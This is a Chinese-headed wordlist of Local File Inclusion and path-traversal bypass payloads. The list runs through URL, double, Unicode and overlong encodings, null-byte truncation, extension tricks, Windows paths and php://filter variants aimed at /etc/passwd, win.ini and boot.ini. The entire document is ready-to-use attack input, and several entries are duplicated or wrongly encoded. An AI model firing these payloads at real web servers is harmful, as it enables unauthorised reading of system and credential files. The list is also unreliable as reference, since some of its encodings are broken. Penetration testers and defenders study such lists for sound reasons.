# LFI编码绕过Payloads

# URL编码
%2e%2e%2f
%252e%252e%252f
%252e%252e%25af
%c0%ae%c0%ae%c0%af
%u002e%u002e%u002f
%uff0e%uff0e%uff0f
%c1%9c%c1%9c
%c0%2e%c0%2f

# 双重URL编码
%252e%252e%252f
%252e%252e%25af
%25c0%25ae%25c0%25af
%255c%252e%255c%252e%255c

# Unicode混淆
%c0%ae%c0%ae%c0%af
%u002e%u002e%u002f
%uff0e%uff0e%uff0f
%c0%2e%c0%2f
%c0%ae%c0%ae%c0%af%c0%ae%c0%af
%c0%ae%c0%ae%c0%af%c0%ae%c0%af%c0%ae%c0%af

# 路径变体
..\
..\
..//\
..\/
.../\
...//
...//\
..\../
..././
....//....//
..%00/
..%5c
..%255c
..%c0%af%2f
..%uff0e%uff0f

# 绝对路径混淆
/etc/passwd
/etc/./passwd
/./etc/passwd
/../etc/passwd
/.../etc/passwd
//etc/passwd
/%2e%2e/etc/passwd
/../../../../etc/passwd
/..././.../etc/passwd

# 空字节截断
%00
%2500
%00.jpg
%00.html
%00.png
%00.php
%0000
%250000
nullbyte
%2500%00
%00%00
%00%2500

# 扩展名绕过
file.php.jpg
file.php.png
file.php.gif
file.php.txt
file.php.html
file.php.
file.php%00.jpg
file.php%20
file.php%0a
file.php%00.jpg
file.php::
file.jpg%00.php
file.php%00.txt
file.txt%00.php
file.php%2500.jpg
file.php%00%00.jpg

# Windows路径绕过
C:\Windows\win.ini
C:/Windows/win.ini
C:\\Windows\\win.ini
\\?\C:\Windows\win.ini
\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini

# 混合编码
%2e%2e%2fetc%2fpasswd
..%c0%afetc%c0%afpasswd
%u002e%u002e%u002fetc%2fpasswd
%c0%ae%c0%ae%c0%afetc%c0%afpasswd

# 特殊分隔符
..%c0%af%2f
..%255c%2f
..%uff0f
..%e0%f0%a0

# 编码组合
%252e%252e%252f
%25c0%25ae%25c0%25af
%25uff0e%252e
%c0%ae%c0%ae%c0%af
%2e%2e%2f%2e%2e%2f%2e%2e%2f

# Base64编码的..
Li4vLg==
Li4vLg==
Li4uLg==
Li4vLg==
Li4uLg==
Lg4v
Li4v
Lg4u
Li4u

# 十六进制编码
%2e%2e%2f
%2e%2e%5c
%252e%252e%252f
%252e%252e%255c

# 换行注入
%0a../
%0d%0a../
%0d%0a
../%0a
../%0d%0a

# Tab注入
%09../
../%09
%09%2e%2e%2f

# 伪协议变体
PHP://filter
Php://Filter
pHp://fIlTeR
pHp://filter
php://%2f%2e%2e%2fetc%2fpasswd
